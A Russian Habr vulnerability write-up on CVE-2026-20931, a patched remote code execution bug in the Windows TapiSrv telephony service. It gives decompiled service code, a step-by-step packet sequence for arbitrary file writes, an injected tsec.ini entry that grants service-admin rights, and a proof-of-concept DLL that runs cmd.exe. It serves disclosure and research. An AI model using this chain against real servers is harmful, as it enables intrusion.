Привет, Хабр!

Новогодние праздники остались позади, а вместе с первыми рабочими днями подъехал и первый Patch Tuesday от Microsoft. Меня зовут Сергей Близнюк, я пентестер в команде PT SWARM, и в этот раз мне удалось внести свой вклад в кибербезопасность в виде CVE-2026-20931 – уязвимости RCE в службе телефонии под Windows Server.

В статье подробно расскажу, что это за сервис, в чем заключается уязвимость и как её могут проэксплуатировать злоумышленники.

Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, предостеречь пользователей и дать рекомендации по защите личной информации в Интернете. Авторы не несут ответственности за использование информации. Помните, что не стоит забывать о безопасности своих данных.

Кратко о телефонии в Windows

Windows предоставляет функции телефонии через TAPI (Tele­pho­ny Ap­pli­ca­tion Pro­gram��ming In­ter­face) – единый интерфейс, который позволяет пользовательским приложениям взаимодействовать с различными телефонными устройствами. Сюда можно отнести как физические устройства (стационарные телефоны и модемы), так и виртуальные или программные решения: VoIP-системы, софтфоны, SIP-шлюзы. В общем, всё, что «звонит» в традиционном понимании.

TAPI существует в двух основных вариантах: TAPI 2.x, представляющий собой процедурный API на C, и TAPI 3.x, реализованный с использованием COM. Оба варианта опираются на одну архитектуру: приложения взаимодействуют с ОС посредством TAPI, а ОС управляет нижележащей телефонной инфраструктурой при помощи TSP (Telephony Service Provider) – библиотеки, поставляемой вендором телефонного оборудования и реализующей логику взаимодействия уже с конкретным устройством.

Во времена облачной телефонии все это кажется пережитком провошлого, однако по-прежнему стабильно поддерживается в Windows «из коробки».

Сервис TapiSrv

В зависимости от версии TAPI приложение пользуется либо функциями из tapi32.dll, либо COM-объектами из tapi3.dll. При этом обе библиотеки представляют из себя, скорее, клиентские обертки, а вся реализация работы с телефонией вынесена в отдельный сервис, с которым они общаются по RPC. Сервис этот называется TapiSrv и именно он отвечает за управление устройствами, сессиями, звонками и за обращения к TSP. Работает он от имени учетной записи NETWORK SERVICE и по умолчанию не запущен, но запускается автоматически при вызове любой TAPI-функции из tapi32.dll/tapi3.dll. Реализация сервиса находится в библиотеке tapisrv.dll.

RPC-интерфейс TAPSRV

Клиенты взаимодействуют с сервисом с помощью RPC-интерфейса tapsrv. Он является частью протокола MS-TRP, для которого существует весьма подробная спецификация. По умолчанию этот интерфейс доступен только для локальных клиентов.

Однако в серверных редакциях Windows можно разрешить доступ и для удаленных клиентов. За это отвечает ключ в реестре – HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Telephony\Server\DisableSharing.

Включить удаленный доступ можно также через соответствующий раздел в оснастке (TapiMgmt.msc).

tapimgmt.png
Настройки сервиса телефонии в оснастке

Конечно, от удаленного управления модемами и телефонами толку немного – прежде всего, эта настройка существует для централизованного доступа к серверным решениям вроде АТС. Она позволяет приложениям, поддерживающим работу через TAPI, прозрачно взаимодействовать с провайдером телефонии без установки нужного TSP на каждый клиентский ПК – достаточно просто указать центральный сервер (например, через групповые политики).

В таком режиме (назовем его серверным) RPC-интерфейс доступен для удаленных клиентов через SMB-пайп tapsrv (то есть для подключения понадобится как минимум непривилегированная доменная учетная запись). Также в этом случае сервис публикует информацию о самом себе в LDAP, так что найти его в домене довольно просто.

adexplorer.png
Информация о сервисе в LDAP

Что под капотом MS-TRP

RPC-интерфейс включает всего три метода: ClientAttach, ClientDetach и ClientRequest. Первые два отвечают за создание и завершение сессии, а вся работа с телефонией происходит через ClientRequest.

Этот метод принимает единственный аргумент – массив байтов (пакет, как его называет спецификация). Первые четыре байта пакета содержат поле Req_Func – индекс функции-обработчика в массиве, остальная часть – произвольные данные, формат которых зависит от вызываемой функции.

Список поддерживаемых функций с соответствующими им значениями Req_Func и структурами входных параметров описан в спецификации (хоть и не полностью), и нетрудно заметить, что он почти один в один повторяет функции TAPI 2. Получается своеобразный RPC поверх RPC, что в целом не редкость для сервисов в Windows – например, абсолютно также реализован интерфейс RASRPC сервиса RasMan (в котором я также недавно находил LPE).

Инициализация сессии

В архитектуре TAPI клиент – это компьютер, инициирующий RPC-соединение, а приложение (line application) – программа, использующая API для работы с телефонными линиями поверх этого соединения. Для установления сессии клиенту необходимо вызвать RPC-метод ClientAttach, имеющий следующую сигнатуру:

long ClientAttach(
     [out]   PCONTEXT_HANDLE_TYPE *pphContext,
     [in]    long    lProcessID,
     [out]   long   *phAsyncEventsEvent,
     [in, string]    wchar_t *pszDomainUser,
     [in, string]    wchar_t *pszMachine
    );

При этом сервис проверяет привилегии учетной записи клиента и присваивает сессии ряд битовых флагов, которые позже используются в API-методах для разграничения доступа.

CheckTokenMembership(hClientToken, pBuiltinAdministratorsSid, &bIsLocalAdmin);

if (bIsLocalAdmin || IsSidLocalSystem(hClientToken)) {
    ptClient->dwFlags |= 8;
}

if (bIsLocalAdmin || IsSidNetworkService(hClientToken) 
                  || IsSidLocalService(hClientToken) 
                  || IsSidLocalSystem(hClientToken)) {
     ptClient->dwFlags |= 1;
}

if (TapiGlobals.dwFlags & TAPIGLOBALS_SERVER) {
    if ((ptClient->dwFlags & 8) == 0 ) {
        wcscpy ((WCHAR *) InfoBuffer, szDomainName);
        wcscat ((WCHAR *) InfoBuffer, L"\\");
        wcscat ((WCHAR *) InfoBuffer, szAccountName);
        if (GetPrivateProfileIntW(
                          "TapiAdministrators", 
                          (LPCWSTR) InfoBuffer, 
                          0, "..\\TAPI\\tsec.ini"
                        ) == 1) {
            ptClient->dwFlags |= 9;
        }
    }
}

Как видно, значению 8 соответствует административный доступ (локальный администратор или система), а 1 присваивается сервисным учетным записям. Также в режиме сервера административные привилегии предоставляются пользователям, которые явно указаны в секции [TapiAdministrators] файла C:\Windows\TAPI\tsec.ini.

После установления сессии для дальнейшей работы с методами, связанными с телефонными линиями, необходимо проинициализировать объект приложения путем отправки пакета Initialize.

Асинхронная обработка событий

Очевидно, что телефония предполагает обработку событий от сервера к клиенту – например, чтоб получать уведомления о входящих звонках. Так как RPC использует синхронную модель запрос-ответ и для такой задачи напрямую не подходит, MS-TRP предоставляет собственные механизмы асинхронной доставки событий.

Способ выбирается при вызове ClientAttach и в первую очередь зависит от того, локальный клиент или удаленный.

Для локальных клиентов все просто – клиент указывает идентификатор своего процесса в аргументе lProcessID, сервис создает объект события c помощью CreateEvent и копирует хэндл в процесс клиента. При наличии уведомлений сервис сигнализирует об этом через объект события, а клиент должен забрать предназначенные ему данные путем отправки пакета GetAsyncEvents (Req_Func = 0).

Если же сервис работает в режиме сервера, то все куда интереснее. В таком случае предлагаются два метода доставки событий удаленным клиентам: push и pull. Метод выбирается в зависимости от аргументов, переданных ClientAttach.

В push-модели клиент указывает в аргументе pszMachine адрес RPC-эндпойнта в специальном формате, описанном в документации (например, CLIENT-PC-NAME"ncacn_ip_tcp"31337"). Сервис подключается к указанному эндпойнту, ожидая увидеть там RPC-интерфейс remotesp, и при возникновении событий вызывает RPC-метод RemoteSPEventProc.

В pull-модели клиент указывает в аргументе pszDomainUser имя мэйлслота – туда в случае появления новых событий сервис будет посылать короткие (размером всего 4 байта) сообщения, не содержащие самих данных события, но сигнализирующие о доступности таковых. Клиент при получении сообщения обязан вызвать GetAsyncEvents и забрать данные события.

Чтобы клиент мог определить, какому из приложений предназначено событие, сервис помимо прочего включает в передаваемые данные 4-байтовый идентификатор – значение поля InitContext, указанное клиентом в пакете Initialize для соответствующего приложения.

Через мэйлслот в файл

Mailslot – это устаревший механизм межпроцессного взаимодействия в Windows, предназначенный для передачи небольших однонаправленных сообщений. Процесс сервера прослушивает именованный эндпоинт, в то время как клиент (локальный либо удаленный) может отправлять туда данные – без гарантий доставки и обратной связи. При передаче по сети сообщения транспортируются с помощью NetBIOS-over-UDP (точнее, транспортировались – удаленное взаимодействие с мэйлслотами отключено начиная с Window 11 24H2). Для работы с мэйлслотами со стороны клиента используется стандартный API для файловых операций – CreateFile, WriteFile и CloseHandle. Чтобы открыть мэйлслот, необходимо передать в CreateFile путь в формате \\<COMPUTERNAME>\MAILSLOT\<MailslotName> (хотя технически удаленный мэйлслот нельзя «открыть» или даже понять, что он существует, передача-то только в одну сторону). Полученный в результате хэндл ведет себя как обычный файл, открытый только на запись.

Код ClientAttach, ответственный за открытие мэйлслота в случае pull-модели, приведен ниже:

if (wcslen (pszDomainUser) > 0)
        {
            if ((ptClient->hMailslot = CreateFileW(
                        pszDomainUser,
                        GENERIC_WRITE,
                        FILE_SHARE_READ,
                        (LPSECURITY_ATTRIBUTES) NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        (HANDLE) NULL
                    )) != INVALID_HANDLE_VALUE)
            {
                goto ClientAttach_AddClientToList;
            }
            ...
        }

Здесь pszDomainUser – это аргумент, переданный клиентом. И да, он просто напрямую передается в функцию CreateFileW, без проверок на наличие префикса \\*\MAILSLOT\ или чего-то подобного – вот такая вот незамысловатая уязвимость.

В результате клиент может указать произвольный путь к файлу, и при условии, что файл существует и доступен для записи аккаунту NETWORK SERVICE, сервис успешно откроет этот файл и будет записывать туда уведомления о событиях вместо отправки их в мейлслот, как задумано протоколом.

Записываем произвольное содержимое

Для полноценной записи произвольных файлов мы должны контролировать, что мы записываем и куда записываем. С местоположением определились, а что насчет содержимого?

Нетрудно догадаться, что в случае pull-модели 4-байтовое значение, отправляемое в мейлслот в качестве уведомления – это и есть поле InitContext, указанное клиентом при инициализации приложения. Таким образом, записываемое содержимое также можно контролировать – для этого остается всего лишь научиться вызывать события для конкретных приложений.

Довольно много функций в сервисе инициируют события для клиента, но большая их часть зарыта глубоко в логику обработки звонков. Вместо того, чтобы разбираться, как удаленному клиенту до них достучаться, проще воспользоваться функцией NotifyHighestPriorityRequestRecipient. Эта функция вызывает событие для единственного глобального «приложения с наивысшим приоритетом», и вызвать её удаленно очень просто – достаточно отправить недокументированный пакет TRequestMakeCall (Req_Func = 121), который служит бэкендом для TAPI-функции tapiRequestMakeCall.

Приложение с наивысшим приоритетом переопределяется в обработчике недокументированного пакета LRegisterRequestRecipient (Req_Func = 61), который реализуе�� TAPI-функцию lineRegisterRequestRecipient:

if (dwRequestMode & LINEREQUESTMODE_MAKECALL)
            {
                if (!ptLineApp->pRequestRecipient)
                {
                    // Добавляем приложение в список

                    PTREQUESTRECIPIENT  pRequestRecipient;

                    pRequestRecipient->ptLineApp = ptLineApp;
                    pRequestRecipient->dwRegistrationInstance =
                        pParams->dwRegistrationInstance;

                    EnterCriticalSection (&gPriorityListCritSec);

                    if ((pRequestRecipient->pNext =
                            TapiGlobals.pRequestRecipients))
                    {
                        pRequestRecipient->pNext->pPrev = pRequestRecipient;
                    }

                    TapiGlobals.pRequestRecipients = pRequestRecipient;

                    LeaveCriticalSection (&gPriorityListCritSec);

                    ptLineApp->pRequestRecipient = pRequestRecipient;

                    // Находим новое приложение с наивысшим приоритетом

                    TapiGlobals.pHighestPriorityRequestRecipient = GetHighestPriorityRequestRecipient();

                    if (TapiGlobals.pRequestMakeCallList)
                    {
                        NotifyHighestPriorityRequestRecipient();
                    }
                }
                ...
            }

Приоритет приложения определяется на основе индекса поля pszModuleName в списке:

PTREQUESTRECIPIENT GetHighestPriorityRequestRecipient()
{
    BOOL               bFoundRecipientInPriorityList = FALSE;
    WCHAR             *pszAppInPriorityList,
                      *pszAppInPriorityListPrev = (WCHAR *) LongToPtr(0xffffffff);
    PTREQUESTRECIPIENT pRequestRecipient,
                       pHighestPriorityRequestRecipient = NULL;
    WCHAR *pszPriorityList = NULL;


    EnterCriticalSection (&gPriorityListCritSec);

    pRequestRecipient = TapiGlobals.pRequestRecipients;
    
    if (RpcImpersonateClient(0) == 0)
    {
        // Получаем список приоритета приложений для текущего пользователя
        GetPriorityListTReqCall(&pszPriorityList);
    }

    while (pRequestRecipient)
    {
        // Вычисляем индекс текщуего имени приложения в списке
        if (pszPriorityList &&

            (pszAppInPriorityList = wcsstr(
                pszPriorityList,
                pRequestRecipient->ptLineApp->pszModuleName
                )))
        {
            if (pszAppInPriorityList <= pszAppInPriorityListPrev)
            {
                pHighestPriorityRequestRecipient = pRequestRecipient;
                pszAppInPriorityListPrev = pszAppInPriorityList;

                bFoundRecipientInPriorityList = TRUE;
            }
        }
        else if (!bFoundRecipientInPriorityList)
        {
            pHighestPriorityRequestRecipient = pRequestRecipient;
        }

        pRequestRecipient = pRequestRecipient->pNext;
    }

    LeaveCriticalSection (&gPriorityListCritSec);

    return pHighestPriorityRequestRecipient;
}

Список, в свою очередь, подгружается из реестра для текущей учетной записи клиента:

RPC_STATUS GetPriorityListTReqCall(WCHAR **ppszPriorityList)
{
    HKEY hKey = NULL;
    HKEY phkResult = NULL;
    EnterCriticalSection(&gPriorityListCritSec);
    if ( !RegOpenCurrentUser(0xF003F, &phkResult) )
    {
          if ( !RegOpenKeyExW(
                phkResult,
                L"Software\\Microsoft\\Windows\\CurrentVersion\\Telephony\\HandoffPriorities",
                0,
                0x20019,
                &hKey) )
            {
                GetPriorityList(hKey, L"RequestMakeCall", ppszPriorityList);
                RegCloseKey(hKey);
            }
        RegCloseKey(phkResult);
    }
  LeaveCriticalSection(&gPriorityListCritSec);
  return RpcRevertToSelf();
}

Найти его можно по пути HKCU\Software\Microsoft\Windows\CurrentVersion\Telephony\HandoffPriorities\RequestMakeCall. По умолчанию там всегда будет единственное значение – DIALER.EXE (а даже если нет, его можно добавить недокументированным пакетом LSetAppPriority (Req_Func = 69)).

Наконец, поле pszModuleName, которое ищется в списке, передается самим клиентом в пакете Initialize при инициализации объекта приложения.

Теперь все кусочки пазла встали на место, и мы можем сконструировать алгоритм, позволяющий удаленно переписать произвольный существующий файл любым содержимым.

Для начала необходимо подключиться к интерфейсу tapsrv через SMB-пайп и вызвать метод ClientAttach, указав в параметре pszDomainUser путь до нужного файла. Далее, разбив желаемое содержимое на фрагменты по 4 байта, для каждого из фрагментов делаем следующее:

  1. Отправляем пакет Initialize (Req_Func = 47), в котором указываем:

    - InitContext – нужные 4 байта

    - pszModuleNameDIALER.EXE

  2. Даем приложению наивысший приоритет с помощью пакета LRegisterRequestRecipient (Req_Func = 61, dwRequestMode = LINEREQUESTMODE_MAKECALL, bEnable = 1).

  3. Вызываем событие путем отправки пакета TRequestMakeCall (Req_Func = 121).

  4. Забираем событие из очереди с помощью пакета GetAsyncEvents (Req_Func = 0) – на этом этапе 4 байта из InitContext уже успешно записаны в файл.

  5. Убираем приложение из списка тем же пакетом LRegisterRequestRecipient (bEnable = 0).

  6. Деинициализируем приложение с помощью пакета Shutdown (Req_Func = 86).

От записи файлов к RCE

На данный момент мы научились переписывать произвольные существующие файлы, на которые у NETWORK SERVICE есть права на запись. За ответом на вопрос «что бы такое переписать?» далеко ходить не надо – у самого сервиса есть очень удобный файл конфигурации C:\Windows\TAPI\tsec.ini. В серверном режиме он гарантированно существует и доступен для записи NETWORK SERVICE, а также, как мы выяснили ранее, очень кстати содержит список администраторов сервиса. Записав в этот файл что-то вроде «[TapiAdministrators]\r\nDOMAIN\\attacker=1» и переподключившись новым вызовом ClientAttach, получим сессию с административными флагами.

С правами администратора сервиса поверхность атаки значительно увеличивается. При изучении спецификации сразу же бросается в глаза пакет GetUIDllName, который, согласно описанию, используется для установки/удаления TSP:

The GetUIDllName packet, along with the TUISPIDLLCallback packet and the FreeDialogInstance packet, is used to install, configure, or remove a TSP on the server.

По коду функции видно, что клиент с правами администратора действительно может добавить новую DLL провайдера, указав в пакете абсолютный путь до неё:

switch (pParams->dwObjectType)
    {
        case TUISPIDLL_OBJECT_LINEID:
            ...
        case TUISPIDLL_OBJECT_PHONEID:
            ...
        case TUISPIDLL_OBJECT_PROVIDERID:
            // Если у клиента нет прав администратора и он хочет
            // удалить провайдер либо добавить новый, указав путь к DLL в запросе - 
            // возвращаем ошибку.
            if ((ptClient->dwFlags & 8) == 0 && (pParams->bRemoveProvider || pParams->dwProviderFilenameOffset != TAPI_NO_DATA)) {
                pParams->lResult = LINEERR_OPERATIONFAILED;
                return;
            }
            
            if (pParams->dwProviderFilenameOffset != TAPI_NO_DATA) {
                TCHAR   *pszProviderFilename = pDataBuf + pParams->dwProviderFilenameOffset;
                // Загружаем DLL по пути, который был передан в запросе
                if (ptDlgInst->hTsp = LoadLibrary(pszProviderFilename)) {
                    if (pfnTSPI_providerUIIdentify = (TSPIPROC) GetProcAddress(ptDlgInst->hTsp,"TSPI_providerUIIdentify")) {
                        // И вызываем из неё функцию
                        pParams->lResult = pfnTSPI_providerUIIdentify(pszProviderFilename);
                    } else {
                        ...
                    }
                } else {
                    ...
                }
            } else {
                ....
            }
    }

Сервис при этом загрузит DLL и вызовет экспортированную функцию TSPI_providerUIIdentify, что дает нам простой и надежный способ добиться выполнения кода. Кроме того, если мы вернем ненулевое значение из этой функции, то DLL будет выгружена вызовом FreeLibrary, что дает возможность еще и удалить нагрузку после эксплуатации.

Самым очевидным способом добиться загрузки своей DLL для удаленного клиента будет разместить её на SMB-шаре и указать сервису в запросе UNC-путь. На практике это отлично работает с шарой на Windows-машине в том же лесу Active Directory, но вызывает трудности при использовании impacket-smbserver или Samba на хосте атакующего – в таком случае LoadLibrary возвращает ошибку ERROR_SMB_GUEST_LOGON_BLOCKED. В качестве альтернативы можно воспользоваться уже имеющимся примитивом записи файлов и доставить DLL прямо на диск. Для этого подойдет любой существующий файл, доступный на запись NETWORK SERVICE и переписывание которого ничего не сломает в системе, например:

  • C:\Windows\System32\catroot2\dberr.txt

  • C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\MpCmdRun.log

  • C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\MpSigStub.log

Запись файла размером в десяток килобайт операциями по 4 байта занимает около 2-3 минут даже при хорошей скорости соединения, но взамен избавляет от необходимости пользоваться сторонней шарой.

Для демонстрации подойдет простейшая DLL с нужной функцией, выполняющей команду через cmd.exe.

#include <Windows.h>

extern "C" __declspec(dllexport) 
LONG __stdcall TSPI_providerUIIdentify(LPWSTR lpszUIDLLName)
{
    wchar_t cmd[] = L"cmd.exe /c whoami /all > C:\\Windows\\Temp\\poc.txt";
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si); 
    ZeroMemory(&pi, sizeof(pi));

    if (CreateProcessW(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW | NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
    {
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
    return 0x1337;
}

При ненулевом возвращаемом значении функции TSPI_providerUIIdentify это значение вернется клиенту в качестве кода ошибки, то есть можно явно увидеть, что функция была вызвана.

poc.png
Процесс эксплуатации уязвимости

Повышение привилегий с NETWORK SERVICE до системы оставим за кадром – про злоупотребление SeImpersonatePrivilege и так знает каждый пентестер.

Disclosure Timeline

06.11.2025 – Отчет о найденной уязвимости направлен Microsoft

22.12.2025 – Microsoft подтвердили наличие уязвимости

23.12.2025 – Microsoft выплатили вознаграждение в рамках Bug Bounty - 5000$

29.12.2025 – Уязвимости назначен идентификатор CVE-2026-20931

13.01.2026 – Уязвимость исправлена в январском Patch Tuesday

19.01.2026 – Опубликован разбор уязвимости

Заключение

На мой взгляд, получился отличный пример того, как довольно-таки тривиальная уязвимость оборачивается полноценной RCE. А также лишнее напоминание о том, что в недрах легаси-компонентов Windows может ждать еще очень много сюрпризов.

Под конец хочется напомнить, что все вышеописанное эксплуатабельно только в случае, когда служба работает в режиме сервера, что почти не встречается в современных инфраструктурах. Впрочем, это не повод не обновляться. Stay safe!